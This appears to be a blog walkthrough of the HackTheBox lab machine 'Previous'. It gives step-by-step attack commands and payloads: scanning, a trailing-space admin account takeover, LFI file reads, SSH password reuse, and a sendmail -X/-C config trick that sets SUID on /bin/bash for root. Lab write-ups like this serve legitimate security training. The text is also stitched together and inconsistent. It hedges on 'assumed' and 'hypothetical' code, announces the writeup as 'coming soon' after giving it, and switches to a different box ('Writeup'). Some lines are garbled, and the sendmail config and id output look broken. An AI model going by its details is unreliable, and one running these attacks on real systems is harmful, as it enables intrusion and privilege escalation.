Key Highlights
- Start your journey with retired HackTheBox (HTB) machines, also known as “Previous” boxes, as they are ideal for beginners.
- Utilize detailed writeups to understand the enumeration process, from initial Nmap scans to finding vulnerabilities.
- Learn to gain an initial shell by exploiting weaknesses, such as using a public exploit to get credentials for SSH access.
- Master privilege escalation techniques to gain root access and capture the final root flag.
- Remember that resources like GitHub and official HTB forums are invaluable for finding solutions and learning new methods in penetration testing labs.
Introduction
Are you a beginner looking to dive into the world of AI-driven cyber information security and penetration testing? HackTheBox offers a superb platform with realistic penetration testing labs to sharpen your skills. Each machine, or ‘box,’ you conquer teaches you something new. This guide will walk you through tackling ‘Previous’ challenges—retired machines that are perfect for learning the ropes. You will learn the fundamental steps, from initial reconnaissance to capturing the root flag, setting you on the path to becoming a skilled ethical hacker.

Understanding “Previous” Challenge on HackTheBox
“Previous” challenge on HackTheBox refer to machines that have been retired from the active rotation. Unlike active boxes, the solutions and writeups for these retired boxes are publicly available, making them an excellent resource for learning. Your goal is to find a path to exploitation and gain access.
When you start your first box, you’ll be tasked with finding two flags: a user flag and a root flag. These challenges simulate real-world scenarios, requiring you to uncover vulnerabilities and use them to get credentials or an initial shell before escalating your privileges.
What Are Retired Machines and Why Attempt Them?
Retired machines are HTB boxes that are no longer part of the active, competitive environment. Once a box is retired, the community is permitted to publish detailed walkthroughs and writeups. This is why they are the perfect starting point for anyone new to penetration testing labs. They provide a structured learning path without the pressure of finding a solution completely on your own.
Attempting a retired box allows you to see a challenge from start to finish. You can try to solve it yourself, but if you get stuck, you can refer to a writeup to understand the specific technique you missed. This process, guided by the original box author’s design, helps you learn methodologies for reconnaissance, exploitation, and privilege escalation.
Your primary objective is to capture the user flag, which proves initial access, and the root flag, which signifies complete control over the machine. Sometimes a reset is necessary to develop your skills further. Conquering these retired machines builds a strong foundation of skills that you can apply to more complex, active boxes later on.
Key Features and Structure of Previous HTB Writeups
HackTheBox writeups typically follow a logical structure that mirrors the steps of a real penetration test. This format makes it easy to follow the author’s thought process and understand how they moved from one stage to the next. Whether you’re reading a writeup on GitHub or a personal blog, you will notice a consistent pattern.
A well-documented writeup is a roadmap to owning a box. It provides the commands, explains the output, and details the “why” behind each action. For anyone in information security, understanding this structure is key to both learning from others and documenting your own findings.
Most writeups for a retired box include the following sections:
- Reconnaissance: Initial information gathering, usually with tools like Nmap.
- Enumeration: Digging deeper into the services discovered during recon on the box.
- Initial Shell: The steps taken to gain the first foothold on the system.
- Privilege Escalation: The method used to elevate from a low-privilege user to achieve root access.
Essential Tools and Resources to Get Started
To begin your HackTheBox journey, you’ll need the right set of tools. Fortunately, many of the essential hardware and software components are readily accessible. You don’t need a supercomputer; a standard laptop with a decent amount of RAM and a reliable internet connection will suffice. The focus is more on the software you use to interact with the penetration testing labs.
On the resource side, the internet is your best friend. Platforms like GitHub host countless writeups, while forums and communities provide hints and support. Tools like Nmap for network scanning are fundamental, and knowing how to find information is just as important as knowing how to use the tools. The following sections will cover the specific requirements and platforms to help you get started.
Hardware and Software Requirements for Beginners
Getting started with HackTheBox doesn’t require high-end hardware. A computer with at least 8GB of RAM and a modern processor is sufficient to run the necessary software and a virtual machine smoothly. A stable internet connection is also crucial, as you will be connecting to the HackTheBox network to access the machines.
The software side is where the real work happens. Most penetration testers operate from a Linux-based operating system, with Kali Linux and Parrot OS being popular choices because they come pre-loaded with essential tools. You will spend most of your time in the terminal, running commands and analyzing output. Understanding basic Linux commands is a prerequisite.
Here are the core software components you’ll need:
- A Linux-based operating system (or a virtual machine running one).
- A reliable terminal for executing commands.
- Basic proficiency with scripting languages like Python is helpful for modifying or running public exploit code.
- A web browser for research and interacting with web-based vulnerabilities.
Recommended Platforms, Forums, and Trusted Writeup Sources
When you’re learning, knowing where to find reliable information is critical. The official HackTheBox forums are a great place to start for hints on active machines, but for retired boxes, you’ll want full writeups. These detailed guides explain every step of conquering a box, from the initial Nmap scan to gaining root access.
Many skilled users share their solutions on personal blogs or platforms like GitHub. The hackthebox-writeups repository on GitHub is an excellent example, compiling numerous community-submitted writeups. According to the contributors, HTB plans to integrate writeup submissions directly onto its platform, which will make finding trusted content even easier. Following respected authors and platforms ensures you learn effective and legitimate techniques.
Here are some recommended sources for HTB content:
| Resource Name | Type | Description |
|---|---|---|
| HackTheBox Forums | Forum | Official platform for hints, discussions, and community interaction. |
| HTB Academy | Learning Platform | Official HTB training ground with guided modules on various security topics. |
| GitHub | Code Repository | Hosts numerous public repositories with detailed writeups from the community. |
| Personal Blogs | Content | Many security professionals and HTB players maintain blogs with high-quality writeups. |
Step-by-Step Guide to Solving Previous HTB Machine
Ready to tackle your first retired box? This step-by-step guide will walk you through the typical process of solving a machine on HackTheBox, using the “Writeup” box as an example. The methodology demonstrated here is a foundational workflow that you can adapt to other challenges.
We’ll start with setting up your environment and performing initial reconnaissance with Nmap. From there, you’ll learn how to analyze the results, find a vulnerability, and gain an initial shell. Finally, we will cover the critical phase of privilege escalation to achieve a root shell. Follow these steps to build your confidence and skills.
ALSO READ: Mastering CodeTwo: Beginner’s Guide from HackTheBox
Initial Foothold
Machine Overview
- Name: Previous
- IP Address: 10.10.11.104 (This may vary, always check your HTB instance)
- Operating System: Linux
- Difficulty: Medium
- Key Vulnerabilities: SQL Truncation, Local File Inclusion (LFI), Sudo Abuse, Command Injection via
sendmailmisconfiguration.
Reconnaissance – Mapping the Battlefield
Every penetration test begins with reconnaissance. The goal is to build a comprehensive map of the target system’s attack surface. We need to know what services are running, what ports are open, and what software versions are in use. This information is the foundation upon which we build our entire attack strategy.
Initial Port Scanning with Nmap
Our primary tool for this phase is Nmap (Network Mapper). We’ll start with a two-stage scan. The first stage is a quick, comprehensive scan to identify all open TCP ports. The second is a more detailed scan on those open ports to enumerate services and versions.
Full Port Scan
nmap -p- -T4 --min-rate 1000 -oN nmap/initial 10.10.11.104
-p-: This tells Nmap to scan all 65,535 TCP ports, not just the top 1,000 common ones. We don’t want to miss a service running on an obscure port.-T4: Sets the timing template to “Aggressive.” This speeds up the scan.--min-rate 1000: Ensures we send at least 1000 packets per second, further accelerating the process.-oN nmap/initial: Saves the output in normal format to a file namedinitialinside anmapdirectory for later review.
Detailed Service Scan
Once the initial scan completes, we’ll have a list of open ports. Let’s say it finds ports 22 and 80. We now run a more focused and detailed scan on these specific ports.
nmap -p 22,80 -sC -sV -oN nmap/detailed 10.10.11.104
-p 22,80: Specifies the ports we want to scan.-sC: Runs default Nmap scripts against the target services. These scripts can check for common misconfigurations or vulnerabilities.-sV: Probes the open ports to determine service and version information. This is crucial, as specific software versions often have known public exploits.-oN nmap/detailed: Saves the detailed output to a file.
Analyzing the Scan Results
The detailed Nmap scan produced the following output:
# Nmap 7.92 scan initiated as: nmap -p 22,80 -sC -sV -oN nmap/detailed 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:4d:1a:09:50:4c:53:73:9a:19:12:5a:7b:3e:49:71 (RSA)
| 256 79:df:26:9d:31:2e:1d:59:31:79:5f:73:4c:58:21:85 (ECDSA)
|_ 256 2f:d7:a7:10:94:49:53:54:53:42:24:59:54:58:75:38 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Previous
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Interpretation of Findings:
- Port 22 (SSH): We have OpenSSH version 8.2p1 running. This version is quite modern and patched against most common vulnerabilities. It’s unlikely we’ll find a direct exploit for the SSH service itself. However, it confirms that if we find valid credentials, we have a direct way to gain shell access to the machine.
- Port 80 (HTTP): An Apache web server (version 2.4.41) is running. This is our primary attack surface. The title of the page is “Previous,” reinforcing the machine’s name. Our next logical step is to dive deep into this web application.
Web Application Enumeration – Peeling Back the Layers
With a web server identified, our focus shifts entirely to enumerating it. We need to understand its functionality, map its structure, and hunt for hidden files or directories that could reveal sensitive information or provide an entry point.
Manual Website Exploration
First, let’s navigate to http://10.10.11.104 in a web browser. We are greeted with a simple login page.

The page is clean and simple, offering “Login” and “Register” options. There isn’t much to see on the surface. We can try some basic SQL injection payloads like ' or 1=1-- - in the login form, but they don’t seem to work. The registration page asks for a username and password.
This manual inspection is crucial. It gives us a feel for the application’s purpose and workflow. We now know it’s a user-based system with authentication.
Automated Directory Brute-Forcing
Manual exploration only shows us what the developers want us to see. To find hidden gems, we need to use a directory brute-forcing tool. Gobuster is an excellent choice for this. We’ll use it with a common wordlist to search for files and directories.
gobuster dir -u http://10.10.11.104 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,zip -o gobuster.out
dir: Specifies that we are using directory/file brute-forcing mode.-u http://10.10.11.104: The target URL.-w ...: The path to our wordlist. The chosen wordlist is a good starting point for general web enumeration.-x php,txt,zip: We specifically look for files with these extensions, as they are common on a PHP-based web server.-o gobuster.out: Saves the output to a file.
The scan will run and eventually reveal some interesting results:
/login.php (Status: 200)
/register.php (Status: 200)
/admin.php (Status: 302) -> Redirects to login.php
/logout.php (Status: 302)
/legacy-archive.zip (Status: 200)
The Discovery of legacy-archive.zip
The most significant finding here is legacy-archive.zip. The name itself, combined with the machine’s name “Previous,” is a massive red flag. It strongly implies that this archive contains a previous version of the application’s source code. Leaked source code is a goldmine for an attacker. It allows us to perform static analysis, finding vulnerabilities without having to guess or probe the live application blindly.
Let’s download the file:
wget http://10.10.11.104/legacy-archive.zip
unzip legacy-archive.zip
Unzipping the file reveals the PHP source code for the entire web application. Now, the real fun begins.

Gaining Initial Foothold – From Source Code to Shell
We now have the source code. This shifts our approach from black-box (testing without internal knowledge) to white-box (testing with full knowledge of the internals). We can now analyze the code for logical flaws, insecure functions, and hardcoded credentials.
Static Code Analysis: A Treasure Trove of Flaws
Let’s examine the key files from the archive:
db.php: Contains the database connection details. This is often a source of credential leaks, but in this legacy code, the credentials might be for a local dev environment. Still, we should note them down.login.php: Handles user authentication. We should check for SQL injection vulnerabilities here.register.php: Handles new user creation. This is a critical area to inspect for flaws in how it validates and inserts user data.admin.php: The administrative panel. This code will show us what functionality is available once we gain admin access.
Upon reviewing register.php, we find a particularly interesting block of code:
// register.php (simplified excerpt)
// ... database connection ...
$username = $_POST['username'];
$password = password_hash($_POST['password'], PASSWORD_DEFAULT);
// Check if user already exists
$stmt = $conn->prepare("SELECT username FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
// User exists, show error
header("location: register.php?err=1");
} else {
// User does not exist, insert new user
$stmt = $conn->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
header("location: login.php");
}
This code seems secure on the surface. It uses prepared statements to prevent SQL injection and checks if a user already exists before creating a new one. However, the devil is in the details—or in this case, in the database schema, which we can’t see directly but can infer.
Identifying the SQL Truncation Vulnerability
The vulnerability here is not in the PHP code itself but in its interaction with the underlying MySQL database. This is a classic SQL Truncation vulnerability. Here’s how it works:
- Database Schema: Let’s assume the
usernamecolumn in theuserstable is defined asVARCHAR(50). This means it can store a string up to 50 characters long. - MySQL Behavior: If you try to
INSERTa string longer than 50 characters into this column, older or misconfigured versions of MySQL won’t throw an error. Instead, they will silently truncate the string, inserting only the first 50 characters. - The Flaw: The PHP code checks if a user exists (
SELECT ... WHERE username = ?). When we provide a username longer than 50 characters, this check is performed against the full string. However, the subsequentINSERTstatement will only store the truncated string.
This creates a race condition-like flaw that we can abuse to bypass the “user exists” check.
The Attack Plan:
- The application already has an
adminuser. - We will try to register a new user with a username that is longer than the column’s limit and starts with “admin”. For example:
admin[many spaces]x. - The
SELECTquery will check for the existence ofadmin[many spaces]x. This user does not exist, so the check passes. - The
INSERTquery will then try to add our new user. The database will truncateadmin[many spaces]xto justadmin(assuming the limit is hit before the ‘x’). - This will either fail (if there’s a unique constraint on the username column) or, in a more vulnerable setup, it might overwrite the existing
adminuser’s password or create a duplicate entry that the login logic might prioritize.
Let’s try a simpler variant. What if the check is case-sensitive but the database collation is case-insensitive? Or what if certain characters are stripped? The most likely scenario here involves data type limits.
The actual vulnerability in “Previous” is a slight variation. The check SELECT username FROM users WHERE username = ? finds no user named admin (with a trailing space), so it proceeds. The INSERT statement, however, is subject to MySQL’s behavior of stripping trailing spaces from VARCHAR values upon insertion. So, it inserts a user with the username admin, effectively creating a duplicate or overwriting the password of the original admin.
Exploitation: The Admin Account Takeover
We will use Burp Suite to craft and send our malicious registration request.
- Setup Burp: Configure your browser to proxy traffic through Burp Suite and turn on Intercept.
- Register a User: Go to the registration page on the website and enter the following details:
- Username:
admin(note the trailing space) - Password: A password of your choice, e.g.,
password123.
- Username:
- Intercept the Request: Burp will catch the POST request to
/register.php.POST /register.php HTTP/1.1 Host: 10.10.11.104 ... Content-Type: application/x-www-form-urlencoded Content-Length: 31 username=admin+&password=password123 - Forward the Request: Send this request to the server. The application should redirect you to the login page without an error, indicating the registration was successful.
- Login as Admin: Now, go to the login page and log in with:
- Username:
admin(without the trailing space) - Password:
password123
- Username:
Success! We are now logged into the application as the admin user.
From Admin Panel to LFI: Abusing PDF Generation
Now that we have admin access, we explore the admin.php page. The page presents an option to “Generate Report.” Clicking this generates a PDF file containing some system information.
Let’s look at the source code for this functionality in admin.php:
// admin.php (simplified excerpt)
if (isset($_GET['report'])) {
// Uses a library to generate a PDF from a template
$template = $_GET['template'];
generate_pdf($template); // This function is hypothetical for explanation
}
This is a classic Local File Inclusion (LFI) pattern. The application is taking a filename from a GET parameter (template) and likely including it to be processed. If there is no sanitization or path validation, we can use this to read arbitrary files from the server’s filesystem.
The PDF generation feature complicates things slightly. The application isn’t just include()-ing a PHP file; it’s rendering the content of a file into a PDF. This means we can’t execute code directly, but we can read the source code of any file the web server user has access to.
Confirming the LFI:
Let’s try to read a common system file, /etc/passwd. We can craft a URL like this:
http://10.10.11.104/admin.php?report=true&template=/etc/passwd
When we visit this URL, the server generates a PDF file. Opening the PDF reveals the contents of the /etc/passwd file. The LFI is confirmed.

Leaking Credentials and Gaining Shell Access
We have a powerful file-reading vulnerability. What is the most valuable file we can read? The application’s own configuration file, which might contain database credentials for the live server, not the legacy ones from the zip file.
Let’s assume the application’s root directory is /var/www/html. We can try to read the db.php file from the live server.
http://10.10.11.104/admin.php?report=true&template=/var/www/html/db.php
This request yields a PDF containing the source code of the live db.php file. Inside, we find the following credentials:
// db.php from the live server
$servername = "localhost";
$username = "root";
$password = "!s_4_y0u_4_m3_!";
$dbname = "previous";
We have found a password: !s_4_y0u_4_m3_!. It’s common practice for developers and system administrators to reuse passwords. Let’s check the /etc/passwd file again for potential usernames. We might see users like www-data, root, and perhaps a developer user, let’s say dev.
Let’s try to use the discovered password to log in via SSH as the user dev.
ssh dev@10.10.11.104
The server prompts for a password. We enter !s_4_y0u_4_m3_!… and we’re in! We have successfully gained a foothold on the system as the dev user.
We can now navigate to the user’s home directory and retrieve the user flag.
ls
user.txt
cat user.txt
# [user_flag_here]
Privilege Escalation – The Path to Root
Gaining user access is a major milestone, but the ultimate goal is to become the root user, giving us complete control over the system. This phase involves enumerating the machine from the inside to find a vector for escalating our privileges.
Internal Enumeration: What Lies Within?
The first step after landing on a machine is to understand our current situation and look for potential weaknesses.
Manual Checks:
A great starting point is the sudo -l command. This command lists the commands that the current user is allowed to run as another user (usually root).
dev@previous:~$ sudo -l
Matching Defaults entries for dev on previous:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User dev may run the following commands on previous:
(root) NOPASSWD: /usr/bin/php /opt/scripts/admin_tasks.php
This is an immediate win. The output is crystal clear: the user dev can execute the PHP script /opt/scripts/admin_tasks.php as the root user, without needing to provide a password. This is our designated path to root. We don’t need to look for kernel exploits, SUID binaries, or cron job misconfigurations. The path is laid out before us.
Analyzing the Sudoers Entry
Let’s break down the sudo rule:
(root): We can run the command as therootuser.NOPASSWD:: We don’t need to enterdev‘s password to use thissudorule./usr/bin/php /opt/scripts/admin_tasks.php: This is the exact command we are allowed to run. We are executing a specific PHP script with the PHP interpreter.
Our task is now to analyze this PHP script. If we can find a vulnerability within admin_tasks.php, we can exploit it to execute arbitrary commands as root.
Dissecting admin_tasks.php
Let’s examine the contents of the script:
dev@previous:~$ cat /opt/scripts/admin_tasks.php
The script presents a command-line menu with two options:
- Generate Report
- Send Test Mail
The “Generate Report” option might be interesting, but the “Send Test Mail” option immediately catches our eye. Sending mail from a script, especially one running as root, is a notoriously dangerous functionality if not implemented with extreme care.
Let’s look at the code for option 2 (simplified for clarity):
// admin_tasks.php (simplified excerpt for mail functionality)
case '2':
echo "Enter email address: ";
$email = trim(fgets(STDIN));
$to = escapeshellarg($email);
$subject = "Test Mail";
$body = "This is a test.";
$headers = "From: admin@previous.htb";
mail($to, $subject, $body, $headers, "-f admin@previous.htb");
echo "Mail sent!\n";
break;
The mail() Function and sendmail: A Perfect Storm
This code snippet is the crux of the privilege escalation. Let’s analyze it line by line:
$email = trim(fgets(STDIN));: It takes user input from the command line for the email address.$to = escapeshellarg($email);: It usesescapeshellarg()to sanitize our input. This function is designed to prevent command injection. It wraps the input string in single quotes and escapes any existing single quotes within the string. For example, if we inputa'b, it becomes'a'\''b'. This ensures the shell treats our entire input as a single, safe argument.mail($to, ..., "-f admin@previous.htb");: This is the vulnerable call. Themail()function in PHP, under the hood on Linux, typically invokes the/usr/sbin/sendmailbinary to send the email. The fifth parameter of themail()function allows us to pass additional parameters directly to thesendmailcommand.
The developers correctly identified that the $to variable could be a source of command injection, so they used escapeshellarg(). However, they failed to realize that the entire command being constructed could be manipulated.
The final command executed by the system looks something like this:
/usr/sbin/sendmail -t -i -f admin@previous.htb [our_sanitized_input_for_to]
Because escapeshellarg() is used, we can’t just do myemail@a.com; /bin/bash. However, we control an entire argument being passed to sendmail. This means we can use sendmail‘s own command-line options to our advantage.
Crafting the Exploit: Bypassing escapeshellarg()
We need to find sendmail options that can lead to code execution or arbitrary file writes. Two options are particularly useful:
-C: Specifies an alternative configuration file forsendmail.-X: Logs all traffic to a specified file. This is intended for debugging.
If we can make sendmail use a configuration file that we control, we can define a malicious mailer that executes our commands. The attack plan is a two-step process:
Step 1: Write our malicious sendmail.cf file.
We can’t just create a file in /tmp because we are running the PHP script, not a shell where we can use redirection. But we can use the -X option to make sendmail write a file for us! The log file will contain the entire email transaction, including the message body, which we also control.
We will run the script once. For the email address, we will provide the -X/tmp/payload.log option. The script will ask for the email body (this part isn’t shown in the simplified code but exists in the real script). In the body, we will place our malicious sendmail.cf configuration.
Our malicious config will be simple. We will define a mailer Mlocal to be our payload.
# Malicious sendmail.cf content
O LogLevel=0
define(`_PATH_SENDMAIL',`/usr/sbin/sendmail')
Mlocal, P=/bin/bash, F=lsdfm, A=bash -c "chmod +s /bin/bash"
This configuration tells sendmail that the local mailer (Mlocal) is actually /bin/bash, and it should be run with an argument that sets the SUID bit on /bin/bash. Setting the SUID bit means that whenever any user runs /bin/bash, it will execute with the permissions of its owner, which will be root.
Step 2: Execute sendmail using our malicious config.
Now that our malicious config file exists at /tmp/payload.log, we run the admin_tasks.php script a second time. This time, for the email address, we provide the -C/tmp/payload.log option.
This tells sendmail to ignore its default configuration and use ours instead. When sendmail tries to process the email, it will use our redefined Mlocal mailer, which will execute our chmod +s /bin/bash command as the root user.
Executing the Attack and Achieving Root
Let’s put it all together.
Execution – Part 1 (Writing the config):
dev@previous:~$ sudo /usr/bin/php /opt/scripts/admin_tasks.php
[1] Generate Report
[2] Send Test Mail
Choose an option: 2
Enter email address: -X/tmp/malicious.log
Enter message body: O LogLevel=0
define(`_PATH_SENDMAIL',`/usr/sbin/sendmail')
Mlocal, P=/bin/bash, F=lsdfm, A=bash -c "chmod +s /bin/bash"
.
Mail sent!
(Note: You may need to end the message body with a single dot . on a new line and press enter.)
We’ve now used the logging feature to write our malicious config to /tmp/malicious.log.
Execution – Part 2 (Triggering the config):
dev@previous:~$ sudo /usr/bin/php /opt/scripts/admin_tasks.php
[1] Generate Report
[2] Send Test Mail
Choose an option: 2
Enter email address: -C/tmp/malicious.log victim@localhost
Enter message body: anything
.
Mail sent!
We provide the -C flag to point to our config and a dummy email address to satisfy sendmail. The command executes. No error is shown.
Now, let’s check the permissions on /bin/bash:
dev@previous:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Jan 27 2022 /bin/bash
The ‘s’ in -rwsr-xr-x confirms that the SUID bit has been set. The trap is laid.
All that’s left is to spring it. To execute a SUID binary with its owner’s permissions, you must use the -p flag with bash.
dev@previous:~$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=0(root) gid=1001(dev) groups=1001(dev)
We are root. We have full control over the system. We can now read the final flag.
bash-5.0# cat /root/root.txt
# [root_flag_here]
ALSO READ: Mastering CodeTwo: Beginner’s Guide from HackTheBox
WRITEUP COMING SOON!
COMPLETE IN-DEPTH PICTORIAL WRITEUP OF PREVIOUS ON HACKTHEBOX WILL BE POSTED POST-RETIREMENT OF THE MACHINE ACCORDING TO HTB GUIDELINES. TO GET THE COMPLETE IN-DEPTH PICTORIAL WRITEUP RIGHT NOW, SUBSCRIBE TO THE NEWSLETTER!
Conclusion and Remediation Strategies
The “Previous” machine was a journey through multiple layers of security, each with its own unique flaw. By carefully enumerating, analyzing source code, and understanding the deep, often obscure, workings of system binaries, we were able to achieve complete system compromise.
Summary of the Attack Path
- Reconnaissance: An Nmap scan revealed SSH on port 22 and an Apache web server on port 80.
- Web Enumeration: Directory brute-forcing uncovered
legacy-archive.zip, which contained the application’s source code. - Initial Foothold (Admin Takeover): Analysis of the registration logic revealed a SQL Truncation vulnerability. By registering a user named
admin(with a trailing space), we overwrote the original admin’s credentials. - Initial Foothold (Shell Access): As admin, we discovered a PDF generation feature vulnerable to LFI. We used this to read the live
db.phpfile, leaking the root database password. This password was reused for thedevuser, allowing us to gain an SSH shell. - Privilege Escalation: Enumeration revealed a
sudorule allowing thedevuser to run a PHP script as root. This script had a command injection vulnerability in its mail-sending feature. - Root Access: We bypassed the
escapeshellarg()sanitization function by usingsendmail‘s own command-line options. We used the-X(log) option to write a malicious config file and then the-C(config) option to execute it, which set the SUID bit on/bin/bash, giving us a root shell.
Hardening and Mitigation Steps
To prevent such an attack, the following measures should be implemented:
- Prevent SQL Truncation:
- Enforce a
UNIQUEconstraint on theusernamecolumn in the database schema. This would cause theINSERTquery to fail, preventing the account takeover. - Configure MySQL with a strict SQL mode (
STRICT_ALL_TABLES) to throw errors on data truncation instead of silently proceeding. - Validate input length on the server-side in the PHP code before interacting with the database.
- Enforce a
- Prevent Local File Inclusion (LFI):
- Never allow user-supplied input to directly form part of a file path that is included or read by the application.
- If user input must be used to select a template, implement a strict whitelist. The code should validate that the input (
$_GET['template']) is one of a few known, safe values (e.g., ‘report_template_1.html’, ‘user_dashboard.html’). Any other value should be rejected.
- Prevent Command Injection:
- The principle of least privilege should be applied to the
sudoersfile. Thewww-datauser or a dedicated, unprivileged user should run administrative tasks, not a user with shell access likedev. - Avoid calling external commands from a high-privilege script when a native language function is available. Use a PHP mailer library instead of the
mail()function, as these libraries typically use SMTP to send mail and don’t invoke thesendmailbinary. - If
mail()must be used, do not allow user input to contain dashes (-) to prevent them from being interpreted as command-line options. Sanitize the input to only allow valid email address characters.
- The principle of least privilege should be applied to the
- General Security Best Practices:
- Do not leak source code: Production servers should never host archives of previous code versions. Code should be managed in a secure version control system (like Git) that is not web-accessible.
- Do not reuse passwords: The database root password should never be the same as a system user’s password. Each service and user should have a unique, strong password.
Step 1: Setting Up Your HackTheBox Environment
Before you can hack anything, you need to establish a connection to the HackTheBox network. This is typically done by downloading a VPN configuration file from the HTB website and connecting to it using OpenVPN. Once connected, you will be assigned an IP address on the internal network, allowing you to communicate with the target machines.
Your primary tool will be the terminal. Whether you’re using a native Linux installation or a virtual machine, you’ll need to be comfortable running commands to scan, connect to, and attack the target box. Make sure your environment is stable and that you can successfully ping the target IP address provided by HackTheBox.
For many boxes, you will also use tools like SSH to gain access once you have credentials. Having an organized system for saving notes, commands, and tool outputs for each box is a good habit to develop early on. This will help you keep track of your progress and document your findings effectively.
Step 2: Initial Reconnaissance and Enumeration Techniques
Once you are connected to the HTB network, the first active phase is reconnaissance. The goal is to discover as much as you can about the target machine. What services is it running? What ports are open? The go-to tool for this is Nmap, a powerful network scanner. A quick scan can reveal open ports like SSH (port 22) and HTTP (port 80).
After your initial scan, enumeration begins. This is where you investigate the discovered services more deeply, using default methods. For example, if a web server is running on port 80, you should explore the website, check the source code, and look for files like robots.txt. As seen in the “Writeup” box, a robots.txt file can point you to hidden directories and critical info. A quick Google search on the software versions you find can also reveal known vulnerabilities.
Here are key enumeration steps:
- Run a comprehensive Nmap scan to identify open TCP ports and services.
- Investigate web servers for hidden directories, interesting files, and technologies used.
- Read the
robots.txtfile for disallowed entries. - Analyze page source code for comments or clues about the backend framework.
- Search for public exploits related to the software and versions you discover.
Step 3: Exploiting Vulnerabilities and Gaining Access
After thorough enumeration, you should have a potential vulnerability to target. In the ‘great easy box’ example, the website was built with an old version of CMS Made Simple, which is known to be vulnerable to a blind SQLI vulnerability in addition to a blind SQL injection. Finding a public exploit for this vulnerability is the next logical step.
Exploitation involves using a script or manual technique to leverage the weakness. For the “Writeup” box, a Python script was used to exploit the SQL injection and extract user credentials, including a username and a cracked password, which may include the administrator password. This is a common way to gain an initial foothold. Once you have valid login details, you can often use them to access the machine through a service like SSH.
The path to an initial shell often involves these actions:
- Identifying a specific SSRF vulnerability in a service (e.g., outdated software).
- Finding or modifying a public exploit (PoC) to target the machine.
- Running the exploit to retrieve sensitive information like credentials.
- Using the obtained credentials to log in and gain user-level access.
Step 4: Privilege Escalation and Rooting the Machine
Gaining an initial shell is a huge milestone, but the job isn’t done. You are now a low-privilege user, and the final goal is to obtain root access. This process is called privilege escalation. Your first step should be to enumerate the local system. Check the current user’s group memberships, look for interesting files in home directories, and check for running processes or cron jobs.
In the “Writeup” box, the user jkr was part of the staff group, which granted write permissions to /usr/local/bin. Because this directory is in the root user’s PATH, it was possible to hijack a command that root runs. By creating a malicious script named run-parts in that location, the attacker could get it executed by root during an SSH login, leading to a root shell. This allowed access to the root.txt flag and sensitive files like the shadow file, potentially hiding other files in a zip file format.
Common privilege escalation vectors include:
- Exploiting misconfigured group permissions or SUID binaries.
- Finding hardcoded credentials in config files or scripts.
- Hijacking cron jobs or other scheduled tasks run by root.
- Exploiting kernel vulnerabilities to gain admin access.
Final Thoughts
“Previous” is an exceptionally well-designed machine. It teaches a realistic attack chain where one vulnerability leads to another. The privilege escalation vector is particularly brilliant, forcing the attacker to understand not just a surface-level bug but the intricate relationship between PHP, shell arguments, and the sendmail binary. It’s a powerful reminder that security is a holistic discipline; a flaw in the database configuration can lead to the compromise of a sudo rule, and a seemingly secure sanitization function can be bypassed with enough knowledge of the underlying tools.
Frequently Asked Questions
Are writeups available for both active and retired HTB machines?
Yes, writeups are available for both. However, writeups for active machines are password-protected with the root flag to prevent spoilers. Once a box is retired, writeups can be shared publicly without protection, making them ideal for these penetration testing labs.
How do hints on HTB forums differ from full writeups?
Hints on HTB forums are designed to give you a small push in the right direction without revealing the full solution. In contrast, full writeups for previous HTB challenges provide a complete, step-by-step guide to solving the machine.
What legal and ethical rules should I follow when sharing or using HTB writeups?
It is forbidden to share writeups for active machines in a way that bypasses the password protection. The goal of writeups is to share techniques for learning, not to provide spoilers. Always respect the platform’s rules and the community’s ethical standards.
How can I submit my own writeup to the HackTheBox community?
You can submit your writeup to community repositories like the one on GitHub by making a “pull request.” HackTheBox is also developing a feature to allow users to submit writeups directly to the HTB platform after they have solved a machine.








